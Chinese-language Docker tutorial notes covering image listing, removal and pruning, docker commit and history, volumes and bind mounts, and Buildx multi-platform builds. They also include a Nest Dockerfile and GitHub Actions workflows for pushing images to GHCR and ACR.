因此 **不同镜像大小之和 ≠ 实际硬盘占用**，实际占用通常更小。

查看实际空间占用，使用命令：

```bash
docker system df
```

**Images**：所有镜像占用空间

**Containers**：所有容器占用空间

**Local Volumes**：卷占用空间

**Build Cache**：构建缓存占用空间

**Reclaimable**：可回收空间（未使用的镜像层、卷等）

```shell
root@armbian:~# docker system df
TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
Images          11        7         1.383GB   687.4MB (49%)
Containers      7         7         122.4MB   0B (0%)
Local Volumes   3         1         4.559MB   0B (0%)
Build Cache     0         0         0B        0B
```

还可以根据仓库名列出镜像，比如显示所有 **ubuntu** 仓库的镜像：

```bash
docker image ls ubuntu
```

仓库名 + 标签列出特定镜像

```bash
docker image ls ubuntu:18.04
```

使用过滤器 `--filter` / `-f`

**按时间过滤**

* 列出 **在某个镜像之后创建的镜像**：

  ```bash
  docker image ls -f since=mongo:3.2
  ```

* 列出 **在某个镜像之前创建的镜像**：

  ```bash
  docker image ls -f before=mongo:3.2
  ```

**按标签过滤**

如果镜像构建时定义了 **LABEL**，可以用标签筛选：

```bash
docker image ls -f label=com.example.version=0.1
```

`docker image ls` 默认会输出一个完整的表格，适合直接查看整体情况。

`docker image ls -q`  只输出 **镜像 ID**，一行一，用途：常与其他命令配合，如删除镜像：

```bash
docker rmi $(docker image ls -q -f dangling=true
```

可以通过过滤条件筛选需要的镜像，例如：

```bash
docker image ls -f dangling=true -q
```

只输出 **虚悬镜像（dangling image）** 的 ID。
常见过滤条件：`dangling=true/false`、`before=<image>`、`reference=<repo>` 等。

自定义输出通过 `--format` 参数 + Go 模板语法，适合更灵活的场景，比如：

* **自定义列内容**

```bash
docker image ls --format "{{.ID}}: {{.Repository}}"
```

只显示 **ID 和仓库名**。

自定义表格

```bash
docker image ls --format "table {{.ID}}\t{{.Repository}}\t{{.Tag}}"
```

效果与默认类似，但可以指定自己想要的列，且带标题行。

常见可用的字段有：`.ID`，`.Repository`，`.Tag`，`.Digest`，`.Size`，`.CreatedSince`，`.CreatedAt`

**总结要点**

* **`-q`** → 精简模式，常用于脚本和批处理操作。
* **`--filter/-f`** → 精确筛选目标对象（镜像、容器、网络等都支持）。
* **`--format`** → 使用 Go 模板自定义输出，方便人读或者机器解析。

### 删除镜像

如果要删除本地的镜像，可以使用 `docker image rm` 命令，其格式为：

```bash
docker image rm [选项] <镜像>
# docker image rm redis:latest nginx:latest mongo:3.2
# docker image rm 5f515359c7f8 05a60462f8ba fe9198c04d62
```

删除所有悬空镜像（无标签镜像）

```bash
docker image rm $(docker images -f "dangling=true" -q)
```

删除所有仓库名为 `redis` 的镜像：

```bash
docker image rm $(docker image ls -q redis)
```

或者删除所有在 `mongo:3.2` 之前的镜像：

```bash
docker image rm $(docker image ls -q -f before=mongo:3.2)
```

`<镜像>` 可以是 `镜像短 ID`、`镜像长 ID`、`镜像名` 或者 `镜像摘要`。

**镜像摘要**（Digest）是基于镜像内容生成的全局唯一哈希，用于保证内容一致性和安全验证。

* **镜像 ID** 和 **摘要 Digest** 都是基于 SHA256 的哈希
* **ID** 更多用于本地管理和层标识
* **Digest** 用于内容唯一性验证和远程镜像一致性检查

查看长ID：

```bash
docker image ls --no-trunc
```

```bash
docker image inspect ubuntu:18.04
```

查询单个镜像的详细信息，输出中也会有长ID

**Untagged 和 Deleted**

**镜像的唯一标识**

* 镜像由 **ID** 和 **摘要** 唯一确定
* **一个镜像可以有多个标签**（Repository:Tag）

**删除标签 → Untagged**

* 使用 `docker image rm <镜像>` 删除的是 **标签**
* 如果镜像还有其它标签指向它，命令只会 **取消指定标签（Untagged）**
* 镜像本身仍然存在，直到所有标签都被取消

**删除镜像 → Deleted**

* 当镜像 **没有任何标签** 且 **没有被其它镜像依赖**，才会触发真正的删除（Deleted）
* Docker 会从上层向基础层依次判断哪些层可以删除

**镜像层依赖**

* 镜像是多层结构（UnionFS）
* 如果某层被其它镜像或容器依赖，该层不会被删除
* 直到 **没有任何镜像或容器依赖该层**，才会真正释放存储

**容器依赖**

* 如果有容器基于该镜像（即使未运行），镜像也不能删除
* 删除镜像前应确保相关容器已经删除

### 悬空镜像

```bash
<none>               <none>              00285df0df87        2 days ago          532 MB
```

**悬空镜像**就是 **没有名字/标签的镜像**，常见于镜像更新、构建未打 tag 或手动删除 tag 后遗留的旧镜像。它占用空间但无法直接通过名字访问，可以安全清理。

::: details 悬停镜像的产生

假设你第一次拉取 `ubuntu:18.04`：

```bash
docker pull ubuntu:18.04
```

本地生成一个镜像 A

tag 指向 A：

```bash
ubuntu:18.04 -> 镜像 A (ID: abc123)
```

此时没有悬空镜像。

官方推送了新版 `ubuntu:18.04`，你再拉取：

```bash
docker pull ubuntu:18.04
```

Docker 下载新版镜像 B（ID: def456）

tag `ubuntu:18.04` **现在指向 B**

镜像 A **失去 tag**，变成 `<none>:<none>`

**结果**：

```bash
<none>:<none> -> 镜像 A (旧版本)
ubuntu:18.04 -> 镜像 B (新版本)
```

镜像 A 仍在本地，只是没有名字了 → **悬空镜像**。

```bash
docker build .
```

如果在构建镜像的时候没有使用 `-t` 给镜像打名字，构建完成的镜像也会是 `<none>:<none>`。

这种情况和旧镜像失去 tag 是一样的结果。

:::

悬空镜像本身没有名字和直接用途，**大多数情况下已经没有价值**，清理它可以节省磁盘空间，只有你明确想保留的，才需要重新打 tag 保存。

```bash
docker image prune
```

`docker image prune` 的作用是 **清理本地未使用的 Docker 镜像**，特别是那些 **悬空镜像（dangling images）**，释放磁盘空间。

默认只删除 **dangling 镜像**（即 `<none>:<none>` 的镜像），删除前会有提示，需要确认

`-f` 或 `--force` 不再提示，直接删除

`-a` 或 `--all` 删除 **所有未被容器使用的镜像**，不仅仅是悬空镜像，**注意**：如果某个镜像没有 tag 或未被容器使用，会被删除。

还可以按 **过滤条件**删除，比如，删除 **24 小时前未使用的镜像**：

```bash
docker image prune -a --filter "until=24h"
```

### 中间层镜像

Docker 构建镜像时会生成 **中间层镜像**，用于 **加速构建和重复利用资源**。

每一层对应 Dockerfile 的一个命令（`RUN` / `COPY` / `ADD` 等），上层镜像会依赖下层中间层。

`docker image ls` 只显示 **顶层镜像**（有 tag 的镜像）。

如果想显示 **包括中间层在内的所有镜像** `docker image ls -a`

你会看到很多 **无标签的镜像（`<none>`）**。

这些无标签镜像大多是 **中间层**，是其他镜像的依赖。

**管理注意事项**

* **不要删除这些中间层镜像**，否则依赖它们的上层镜像可能会出错。
* 这些镜像 **不会重复占用磁盘空间**，因为 Docker 会复用相同层。
* 当删除顶层镜像后，依赖的中间层如果没有其他引用，才会被连带清理。

**总结**：中间层镜像是 Docker 的内部实现细节，用于构建和复用，不必手动管理。只要保留顶层镜像，Docker 会自动管理中间层的存储和复用。

### 镜像快照

`docker commit` 用于 **将容器当前状态保存为一个新的镜像**，相当于把容器“拍快照”变成可复用的镜像。

**把容器改动保存成镜像**

* 当你在容器里安装了软件、修改了配置、添加了文件，想保留这些改动
* 使用 `docker commit` 就可以生成一个新的镜像，后续可以用它启动新容器

**生成自定义镜像**

* 可以基于官方镜像快速做定制，而不必每次都写 Dockerfile

```bash
docker commit [OPTIONS] <容器ID或名称> <新镜像名>:<标签>
```

`-a`：作者信息

`-m`：提交说明（commit message）

`--change`：修改 Dockerfile 指令（如 ENV、CMD、EXPOSE 等）

当我们运行一个容器的时候（如果不使用卷的话），我们做的任何文件修改都会被记录于容器存储层里。而 Docker 提供了一个 `docker commit` 命令，可以将容器的存储层保存下来成为镜像。换句话说，就是在原有镜像的基础上，再叠加上容器的存储层，并构成新的镜像。以后我们运行这个新镜像的时候，就会拥有原有容器最后的文件变化。

:::note

**慎用 `docker commit`**

**镜像容易臃肿**

* `docker commit` 会把容器当前状态
* 直接打包成新镜像。
* 容器里除了你想修改的文件外，还有许多临时文件、缓存、日志、安装包残留等，都会被打包进去。
* 每次 commit 都会增加一层，这些无关内容会长期存在于镜像中，无法清理。

**黑箱操作，不可追踪**

* commit 是对容器文件系统的快照，不记录具体的命令和操作步骤。
* 除了制作人，别人几乎无法复现镜像的构建过程。
* 即使是制作人，过一段时间后也很难记起具体操作，维护成本高。

**分层机制导致问题积累**

* Docker 镜像的分层是不可变的，每一层都是只读的。
* commit 只会在当前层增加修改记录，不会删除上一层的内容。
* 结果是镜像越来越大，即使你删除了容器里的文件，底层层依然占空间。

**维护困难**

* 黑箱镜像不利于团队协作。
* 后期修改或调试时，很难知道镜像是如何生成的。

:::

### 容器历史记录

`docker history` 是 Docker 提供的一个命令，用来 **查看镜像（image）每一层的历史信息**。它可以帮助你了解镜像是如何构建的，每一层的大小，以及每一层对应的命令。

```bash
docker history [OPTIONS] IMAGE
```

| 选项          | 说明                             |
| ------------- | -------------------------------- |
| `-H, --human` | 以可读格式显示大小（默认是字节） |
| `--no-trunc`  | 不截断输出，显示完整信息         |
| `-q, --quiet` | 只显示层ID，不显示其他信息       |

```bash
docker history nginx:latest
IMAGE          CREATED        CREATED BY                                      SIZE      COMMENT
cfc29b0b0b1d   3 weeks ago    /bin/sh -c #(nop)  CMD ["nginx" "-g" "daemo…   0B        
<missing>      3 weeks ago    /bin/sh -c #(nop)  EXPOSE 80                   0B        
<missing>      3 weeks ago    /bin/sh -c #(nop)  STOPSIGNAL SIGTERM         0B        
<missing>      3 weeks ago    /bin/sh -c apt-get update && apt-get install…  21.6MB    
<missing>      3 weeks ago    /bin/sh -c #(nop)  LABEL maintainer=NGINX D…  0B        
```

* **IMAGE**：这一层的镜像ID。
* **CREATED**：这一层创建的时间。
* **CREATED BY**：执行创建这一层的命令。
* **SIZE**：这一层的大小。
* **COMMENT**：可选备注信息。

**主要用于**：

**分析镜像大小**，可以找出哪些层占用空间大，从而优化镜像。

**追踪镜像构建历史**，了解镜像是如何一步步构建出来的，特别是从别人提供的镜像中学习 Dockerfile 的写法。

**排查问题**，如果某个镜像层有问题，可以通过 `docker history` 确认具体命令和层信息。

***

当你执行 `docker commit` 时，Docker 会在镜像上 **增加一层**（类似新的“快照”层）。

`docker history` 可以显示这个镜像的 **所有层历史**，包括用 `docker commit` 创建的层。

所以，如果你对某个镜像做过 commit，然后查看 `docker history`，就会看到对应的那一层。

`docker history` 只能显示 **每层的创建命令、时间和大小**，它不会直接告诉你是哪个容器做的 commit，但你可以通过 **commit 的时候加标签或注释** 来标记：

```bash
docker commit -m "修改配置文件" mycontainer myimage:latest
```

然后在 `docker history myimage:latest` 中，你就能看到 `COMMENT` 列显示 `"修改配置文件"`，知道这层是你 commit 的。

### 更改容器

```bash
docker run --name webserver -d -p 80:80 nginx
```

```bash
docker exec -it webserver bash
root@3729b97e8226:/# echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html
root@3729b97e8226:/# exit
exit
```

修改了容器的文件，也就是改动了容器的存储层。我们可以通过 `docker diff` 命令看到具体的改动。

### 查看容器差异

```bash
docker diff [容器]
```

`docker diff` 就是用来查看容器相对于镜像的 **文件系统改动**，它会输出三种类型的变化标记：

**A (Added)**：新增了一个文件或目录

**C (Changed)**：修改了一个已有的文件或目录（内容变了，或者元数据变了，比如权限、时间戳）

**D (Deleted)**：删除了一个文件或目录

## Dockerfile

[Dockerfile相关](/posts/vhajxjfz/)

## 操作容器

[操作容器相关](/posts/u98f21md/)

## 导入和导出

Docker 还提供了 `docker save` 和 `docker load` 命令，用以将镜像保存为一个文件，然后传输到另一个位置上，再加载进来。这是在没有 Docker Registry 时的做法，现在已经不推荐，镜像迁移应该直接使用 Docker Registry，无论是直接使用 Docker Hub 还是使用内网私有 Registry 都可以。

```bash
docker save -o <保存文件名>.tar <镜像名>:<标签>
docker load -i <保存文件名>.tar
```

文件名可以自定义为任意名称甚至任意后缀名，但文件的本质都是归档文件，但是推荐使用 `.tar` 后缀名以示区别。

**注意：如果同名则会覆盖（没有警告）**

若使用 `gzip` 压缩：

```bash
docker save <镜像名>:<标签> | gzip > <保存文件名>.tar.gz
```

然后我们将 `<保存文件名>.tar.gz` 文件复制到了到了另一个机器上，可以用下面这个命令加载镜像：

```bash
docker load -i <保存文件名>.tar.gz
```

## 镜像的实现原理

**分层结构**

* 每个镜像由很多只读层组成（每个层对应 Dockerfile 里的一条指令）。
* 层与层之间叠加，最终形成完整镜像。

**联合文件系统（UnionFS / OverlayFS）**

* 技术上通过一种叫 UnionFS（Docker 常用 OverlayFS）的文件系统，把多层目录“合并”为一个目录。
* 上层可以覆盖下层的同名文件，看起来就像一个整体。

**可写层**

* 容器启动时，镜像层是只读的，Docker 会在顶层加一个**可写层**，所有的修改都写在这一层。
* 镜像本身不变，因此能保证复用和一致性。

**好处**

* 节省空间：多个镜像可以共享相同的底层层。
* 快速构建：只修改或新增的部分会形成新的一层。
* 可维护：删除容器不会影响镜像。

**Docker 镜像是由多层只读层叠加组成的，运行时再加一个可写层，借助 OverlayFS 看起来像一个完整文件系统，从而实现增量构建、复用和轻量化。**

## Docker Hub

可以通过执行 `docker login` 命令交互式的输入用户名及密码来完成在命令行界面登录 Docker Hub。

可以通过 `docker logout` 退出登录。

你可以通过 `docker search` 命令来查找官方仓库中的镜像，并利用 `docker pull` 命令来将它下载到本地。

在查找的时候通过 `--filter=stars=N` 参数可以指定仅显示收藏数量为 `N` 以上的镜像。

用户也可以在登录后通过 `docker push` 命令来将自己的镜像推送到 Docker Hub。

```bash
docker tag ubuntu:18.04 username/ubuntu:18.04
docker push username/ubuntu:18.04
```

## 数据管理

### 数据卷

`数据卷` 是一个可供一个或多个容器使用的特殊目录，它绕过 UnionFS，可以提供很多有用的特性：

**Docker 卷（Volume）** 是挂载在容器内的 **宿主机目录**（或者由 Docker 管理的卷路径）。

容器对卷的读写操作，实际上是在操作宿主机上的真实文件系统。

因此，无论在容器内还是宿主机上修改卷里的文件，**都会立即生效**，不需要重启容器。

即使容器删除，卷里的数据依然保留在宿主机上，下次启动新容器时可以继续使用，但是要注意挂载路径必须一致。

### 创建数据卷

```bash
docker volume create [选项] <卷名>
```

`选项` 常用的有：

* `-d, --driver`：指定卷的驱动（默认是 `local`）
* `--label`：添加标签
* `--opt`：传递驱动特定选项

`卷名`：自定义卷的名字，如果不指定，Docker 会生成一个随机名字

### 查看数据卷

查看所有的 `数据卷`

```bash
docker volume ls
```

查看指定 `数据卷` 的信息

```bash
docker volume inspect <卷名>
```

### 挂载数据卷

在用 `docker run` 命令的时候，使用 `--mount` 标记来将 `数据卷` 挂载到容器里。在一次 `docker run` 中可以挂载多个 `数据卷`。

下面创建一个名为 `web` 的容器，并加载一个 `数据卷` 到容器的 `/usr/share/nginx/html` 目录。

```bash
docker run -d -P \
    --name web \
    # -v <卷名>:/usr/share/nginx/html \
    --mount source=<卷名>,target=/usr/share/nginx/html \
    nginx:alpine
```

### 删除数据卷

```bash
docker volume rm <卷名>
```

`数据卷` 是被设计用来持久化数据的，它的生命周期独立于容器，Docker 不会在容器被删除后自动删除 `数据卷`，并且也不存在垃圾回收这样的机制来处理没有任何容器引用的 `数据卷`。

如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用 `docker rm -v` 这个命令。

无主的数据卷可能会占据很多空间，要清理请使用以下命令

```bash
docker volume prune
```

## 挂载目录

挂载一个主机目录作为数据卷，使用 `--mount` 标记可以指定挂载一个本地主机的目录到容器中去。

```bash
docker run -d -P \
    --name web \
    # -v /src/webapp:/usr/share/nginx/html \
    --mount type=bind,source=/src/webapp,target=/usr/share/nginx/html \
    nginx:alpine
```

上面的命令加载主机的 `/src/webapp` 目录到容器的 `/usr/share/nginx/html`目录。

这个功能在进行测试的时候十分方便，比如用户可以放置一些程序到本地目录中，来查看容器是否正常工作。

本地目录的路径必须是绝对路径，并且使用 `--mount` 参数时如果本地目录不存在，Docker 会报错。

Docker 挂载主机目录的默认权限是 `读写`，用户也可以通过增加 `readonly` 指定为 `只读`。

```bash
docker run -d -P \
    --name web \
    # -v /src/webapp:/usr/share/nginx/html:ro \
    --mount type=bind,source=/src/webapp,target=/usr/share/nginx/html,readonly \
    nginx:alpine
```

加了 `readonly` 之后，就挂载为 `只读` 了。如果你在容器内 `/usr/share/nginx/html` 目录新建文件，会显示如下错误

```bash
/usr/share/nginx/html # touch new.txt
touch: new.txt: Read-only file system
```

---

---
url: /docker/ch7eyil2/index.md
---
## Node(nest) Dockerfile

`dockerfile`

```dockerfile
# ===========================
# 构建阶段
# ===========================
FROM node:20-alpine AS builder

WORKDIR /app

# 复制依赖文件
COPY package*.json ./

# 安装依赖（包含 devDependencies）
RUN npm ci

# 复制源代码
COPY . .

# 构建 Nest 应用
RUN npm run build

# ===========================
# 运行阶段
# ===========================
FROM node:20-alpine AS runner

WORKDIR /app

ENV NODE_ENV=production

# 复制 package.json 以安装生产依赖
COPY package*.json ./

# 仅安装生产依赖
RUN npm ci --omit=dev && npm cache clean --force

# 从构建阶段复制编译结果
COPY --from=builder /app/dist ./dist

EXPOSE 3000

CMD ["node", "dist/main.js"]
```

`.dockerignore`

```dockerfile
node_modules
dist
.git
.gitignore
.vscode
test
Dockerfile
docker-compose*
*.md
.env
```

## GHCR 推送工作流模板

```yaml
name: Build and Push to GHCR

on:
  push:
    branches:
      - main
      - master
      - release/*
  workflow_dispatch:
    inputs:
      image_name:
        description: 'Docker image name (e.g., nestapp)'
        required: false
        default: yumengjh/nestapp
      tag:
        description: 'Docker tag (e.g., 1.0.0)'
        required: false
        default: 1.0.0
      platforms:
        description: 'Build platforms (comma separated)'
        required: false
        default: 'linux/amd64,linux/arm64'
      build_args:
        description: 'Build arguments (key=value,key=value)'
        required: false
      context:
        description: 'Build context path'
        required: false
        default: '.'
      dockerfile:
        description: 'Dockerfile path'
        required: false
        default: './Dockerfile'

env:
  DEFAULT_REGISTRY_URL: ghcr.io
  DEFAULT_REGISTRY_USERNAME: ${{ github.actor }}
  DEFAULT_REGISTRY_PASSWORD: ${{ secrets.GH_TOKEN }}

jobs:
  build-and-push:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Setup Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Prepare variables
        id: vars
        run: |
          # 设置默认值
          IMAGE_NAME="${{ github.event.inputs.image_name || 'yumengjh/nestapp' }}"
          TAG="${{ github.event.inputs.tag || '1.0.0' }}"
          PLATFORMS="${{ github.event.inputs.platforms || 'linux/amd64,linux/arm64' }}"
          CONTEXT="${{ github.event.inputs.context || '.' }}"
          DOCKERFILE="${{ github.event.inputs.dockerfile || './Dockerfile' }}"
          BUILD_ARGS="${{ github.event.inputs.build_args }}"

          echo "IMAGE_NAME=$IMAGE_NAME" >> $GITHUB_ENV
          echo "TAG=$TAG" >> $GITHUB_ENV
          echo "PLATFORMS=$PLATFORMS" >> $GITHUB_ENV
          echo "CONTEXT=$CONTEXT" >> $GITHUB_ENV
          echo "DOCKERFILE=$DOCKERFILE" >> $GITHUB_ENV
          echo "BUILD_ARGS=$BUILD_ARGS" >> $GITHUB_ENV

          # Registry info
          echo "REGISTRY_URL=${{ env.DEFAULT_REGISTRY_URL }}" >> $GITHUB_ENV
          echo "REGISTRY_USERNAME=${{ env.DEFAULT_REGISTRY_USERNAME }}" >> $GITHUB_ENV
          echo "REGISTRY_PASSWORD=${{ env.DEFAULT_REGISTRY_PASSWORD }}" >> $GITHUB_ENV

      - name: Show build configuration
        run: |
          echo "-------------------------------------------"
          echo "Registry URL:  $REGISTRY_URL"
          echo "Image:         $IMAGE_NAME"
          echo "Tag:           $TAG"
          echo "Platforms:     $PLATFORMS"
          echo "Context:       $CONTEXT"
          echo "Dockerfile:    $DOCKERFILE"
          echo "Build Args:    $BUILD_ARGS"
          echo "-------------------------------------------"

      - name: Login to GHCR
        run: |
          echo "$REGISTRY_PASSWORD" | docker login "$REGISTRY_URL" -u "$REGISTRY_USERNAME" --password-stdin

      - name: Build and push multi-arch image
        uses: docker/build-push-action@v6
        with:
          context: ${{ env.CONTEXT }}
          file: ${{ env.DOCKERFILE }}
          push: true
          platforms: ${{ env.PLATFORMS }}
          tags: |
            ${{ env.REGISTRY_URL }}/${{ env.IMAGE_NAME }}:${{ env.TAG }}
            ${{ env.REGISTRY_URL }}/${{ env.IMAGE_NAME }}:latest
          build-args: ${{ env.BUILD_ARGS }}

      - name: Build summary
        if: success()
        run: |
          echo "-------------------------------------------"
          echo "Build and push completed successfully."
          echo "Registry URL:  $REGISTRY_URL"
          echo "Image:         $IMAGE_NAME"
          echo "Tag:           $TAG"
          echo "Platforms:     $PLATFORMS"
          echo "-------------------------------------------"
```

## ACR 推送工作流模板

```yaml
name: Build & Push to ACR

on:
  push:
    branches:
      - main
      - master
      - release/*
  workflow_dispatch:
    inputs:
      image_name:
        description: 'Docker image name'
        required: false
        default: nestapp
      tag:
        description: 'Docker tag'
        required: false
        default: 1.0.0
      platforms:
        description: 'Build platforms (comma separated)'
        required: false
        default: linux/amd64,linux/arm64

env:
  ACR_URL: ${{ secrets.ACR_REGISTRY }}
  ACR_USERNAME: ${{ secrets.ACR_USERNAME }}
  ACR_PASSWORD: ${{ secrets.ACR_PASSWORD }}

jobs:
  build-and-push:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - uses: docker/setup-buildx-action@v3

      - name: Login to ACR
        run: |
          echo "$ACR_PASSWORD" | docker login $ACR_URL -u $ACR_USERNAME --password-stdin

      - name: Build and push multi-arch image
        uses: docker/build-push-action@v6
        with:
          context: .
          file: ./Dockerfile
          push: true
          platforms: ${{ github.event.inputs.platforms }}
          tags: |
            $ACR_URL/${{ github.event.inputs.image_name }}:${{ github.event.inputs.tag }}
            $ACR_URL/${{ github.event.inputs.image_name }}:latest
```

## manifest

GHCR（GitHub Container Registry）在多架构镜像的处理逻辑上和 ACR 或 Docker Hub 没有本质区别，它也是基于 **OCI 镜像规范** 来管理镜像和 manifest 的

当你使用 `docker buildx` 构建 multi-platform 镜像时，会生成一个 **顶层 manifest list**，指向不同平台的具体镜像。

```bash
cr.io/your-org/your-image:latest
├─ linux/amd64  → sha256:aaa...
├─ linux/arm64  → sha256:bbb...
├─ linux/arm/v7 → sha256:ccc...
```

顶层 manifest (`application/vnd.oci.image.index.v1+json`) 是 **一个索引**，只显示一条记录在界面上，但它包含了每个平台镜像的 digest。

在 GHCR Web 界面上，你看到的也通常只有一个条目（最新版本或 tag），不会直接显示每个平台的 digest。

实际上多平台的镜像已经上传完毕，Docker 客户端拉取镜像时，会自动选择当前主机的架构：

```bash
# 在 amd64 主机上
docker pull ghcr.io/your-org/your-image:latest
# 自动拉取 linux/amd64 镜像

# 在 arm64 主机上
docker pull ghcr.io/your-org/your-image:latest
# 自动拉取 linux/arm64 镜像
```

你可以使用 `docker buildx imagetools inspect` 查看 GHCR 上的所有平台信息：

```bash
docker buildx imagetools inspect ghcr.io/your-org/your-image:latest
```

输出示例：

```bash
Name:      ghcr.io/your-org/your-image:latest
MediaType: application/vnd.oci.image.index.v1+json
Digest:    sha256:...

Manifests: 
  Name:        ghcr.io/your-org/your-image:latest@sha256:aaa...
  MediaType:   application/vnd.oci.image.manifest.v1+json
  Platform:    linux/amd64

  Name:        ghcr.io/your-org/your-image:latest@sha256:bbb...
  MediaType:   application/vnd.oci.image.manifest.v1+json
  Platform:    linux/arm64
```

**attestation manifest**

如果你在 workflow 中开启了 `attest`（如 buildx 支持的 `--attest type=provenance`），会生成一些 `unknown/unknown` 的 attestation manifests。

功能：

* 用于安全审计和镜像来源验证
* 不影响正常的拉取和运行
* 在 Web 界面上通常不会显示，但通过 `docker buildx imagetools inspect` 可以看到

> \[!important]
>
> GHCR、ACR、Docker Hub 都支持 multi-platform 镜像。
>
> Web 界面通常只显示一条 tag，但实际每个平台的镜像都存在。
>
> 拉取镜像时，Docker 根据本地平台自动选择正确架构。
>
> 可以使用 `docker buildx imagetools inspect <镜像>` 来查看每个平台的 digest。
>
> attestation manifest 是安全信息，不影响使用。

**Web 界面看到的“版本号”和 Digest**

* **版本号（tag）**：比如 `latest` 或 `1.0.0`，这是你给镜像打的标签。
* **Digest**：Web 界面显示的 Digest，指的是 **顶层 manifest list 的 digest**，也就是 multi-arch 镜像的索引本身的 SHA256，而不是某个平台的实际镜像 SHA。

**换句话说**，这个 digest 是 “索引文件”的 checksum，不是 amd64 或 arm64 镜像的 digest。

**manifest list 与具体平台镜像**

当你构建多架构镜像并推送时，`docker buildx` 会生成：

**顶层 manifest list**（索引文件）

* 指向每个平台的镜像
* Web 界面显示的 digest 就是这个

**各个平台的实际镜像**（amd64、arm64、arm/v7 等）

* 每个平台镜像也有自己的 digest
* 拉取镜像时，Docker 会根据本机架构自动选择对应平台镜像

可以通过命令查看全部平台：

```bash
docker buildx imagetools inspect <image>:<tag>
```

---

---
url: /docker/ez70eegi/index.md
---
# Docker Buildx

## 简介

### 什么是 Docker Buildx？

**Docker Buildx** 是 Docker 官方提供的一个 CLI 插件，它扩展了 `docker build` 命令的功能。其核心是建立在 **Moby BuildKit** 之上的下一代镜像构建工具。

你可以把它理解为 **`docker build` 命令的增强版**。它保留了用户熟悉的 `docker build` 使用体验，但同时增加了许多强大的新特性，其中最核心的就是**跨平台构建**。

### 为什么需要 Buildx？

1. **跨平台构建困难**：在 x86\_64 的机器上，很难直接构建出适用于 ARM（例如树莓派）、PowerPC 等架构的镜像。传统方法需要复杂的交叉编译环境或在对应架构的机器上进行构建。
2. **构建性能瓶颈**：传统的 Docker 构建器在某些方面效率不高。
3. **功能单一**：传统的 `docker build` 缺乏对复杂构建场景（如多镜像并发构建、高级缓存管理）的原生支持。

### Buildx 的核心特性

#### 跨平台构建

这是 Buildx 最引人注目的功能。它允许你在一台机器上（例如，你的 Intel Mac 或 AMD Linux 电脑）为多种不同的 CPU 架构构建 Docker 镜像。

**支持的平台包括：**

* `linux/amd64` (常规的 Intel/AMD 服务器和桌面)
* `linux/arm64` (苹果 M1/M2 Mac，AWS Graviton 处理器，现代树莓派)
* `linux/arm/v7` (旧版树莓派等)
* `linux/ppc64le`
* `linux/s390x`
* `windows/amd64`

**实现方式：** Buildx 通过 QEMU 仿真和 BuildKit 的能力，在后台自动模拟目标平台的环境，使得构建过程就像在目标平台上进行一样。

#### 高效的构建缓存

Buildx 提供了比传统构建更强大的缓存机制，支持将缓存信息存储在本地、注册表内或特定的缓存卷中。这在与 CI/CD 流水线集成时特别有用，可以大幅加速后续构建。

#### 并发构建

可以一次性为多个平台构建镜像，而不是逐个平台地执行 `docker build` 命令。这极大地提升了效率。

#### 可扩展的构建器后端

Buildx 支持不同的“构建器实例”。你可以创建使用不同配置的构建器，例如：

* `docker-container` 驱动：这是功能最强大的驱动，支持跨平台构建等所有高级功能。
* `docker` 驱动：使用与旧版 `docker build` 相同的守护进程，功能有限。
* `kubernetes` 驱动：在 Kubernetes Pod 中运行构建任务。

#### 创建清单列表

当你为多个平台构建镜像后，Buildx 可以自动创建一个 **Docker 清单列表**。这个清单指向所有不同架构的镜像。当用户使用 `docker pull` 或 `docker run` 时，Docker 会自动根据其系统架构选择正确的镜像。

### 如何使用 Docker Buildx

#### 前提条件

* Docker Engine 版本 19.03 或更高。
* 对于 Linux，需要额外安装 QEMU 静态二进制文件以支持跨平台构建（通常通过 `binfmt-support` 包）。

#### 基本使用步骤

1. **启用实验性功能**（如果尚未启用）：编辑 `~/.docker/config.json` 文件，确保包含：

```json
{
  "experimental": "enabled"
}
```

然后重启 Docker 守护进程。

2. **创建并使用一个 Buildx 构建器**：默认的构建器可能功能有限，建议创建一个新的。

```bash
# 创建一个新的构建器实例，并使用 'docker-container' 驱动
docker buildx create --name mybuilder --driver docker-container --bootstrap

# 使用这个构建器
docker buildx use mybuilder
```

3. **检查构建器状态**：

```bash
docker buildx inspect mybuilder
```

4. **开始构建**：

**单平台构建**（与 `docker build` 类似）：

```bash
docker buildx build -t your-username/your-app:latest .
```

**多平台构建**（核心功能）：

```bash
docker buildx build --platform linux/amd64,linux/arm64,linux/arm/v7 -t your-username/your-app:latest --push .
```

`--platform`：指定目标平台列表。

`--push`：构建完成后，自动将镜像和清单列表推送到 Docker Hub 或其他容器注册中心。**如果不加此参数，构建结果只会存在于本地缓存中，无法被 `docker images` 看到或使用。**

5. **查看支持的平台**：

```bash
docker buildx ls
```

### 实战示例

假设你有一个 Go 语言应用，想要为 Intel 和 Apple Silicon Mac 以及树莓派构建镜像。

##### 准备 Dockerfile:

```dockerfile
# 使用多阶段构建
FROM --platform=$BUILDPLATFORM golang:1.19 AS builder
ARG TARGETARCH
WORKDIR /app
COPY . .
RUN GOOS=linux GOARCH=$TARGETARCH go build -o myapp .

FROM alpine:latest
WORKDIR /root/
COPY --from=builder /app/myapp .
CMD ["./myapp"]
```

##### 执行 Buildx 多平台构建并推送:

```bash
docker buildx build \
  --platform linux/amd64,linux/arm64,linux/arm/v7 \
  -t your-dockerhub-username/multi-arch-example:latest \
  --push \
  .
```

##### 验证：

构建并推送成功后，你可以在 Docker Hub 上看到该标签下关联了多个架构的镜像。

任何人使用 `docker pull your-dockerhub-username/multi-arch-example:latest` 时，Docker 都会自动为他们分配合适的架构版本。

### 总结

| 特性         | 传统 `docker build` | Docker Buildx                          |
| ------------ | ------------------- | -------------------------------------- |
| **核心功能** | 单平台镜像构建      | **跨平台构建**，支持一次构建多架构镜像 |
| **构建后端** | 旧版构建器          | **BuildKit**（性能更好，功能更强）     |
| **输出**     | 单一镜像            | 支持创建**多架构清单列表**             |
| **缓存**     | 基础缓存            | 高级、可配置的缓存后端（如注册表缓存） |
| **并发性**   | 无                  | 支持**并发多平台构建**                 |

**总而言之，Docker Buildx 是现代 Docker 镜像构建的推荐工具。** 尤其是当你需要支持多种硬件架构（如云服务器、个人电脑、物联网设备）时，它几乎是不可或缺的，能极大地简化和加速你的 CI/CD 和工作流程。

## 使用 BuildKit 构建镜像

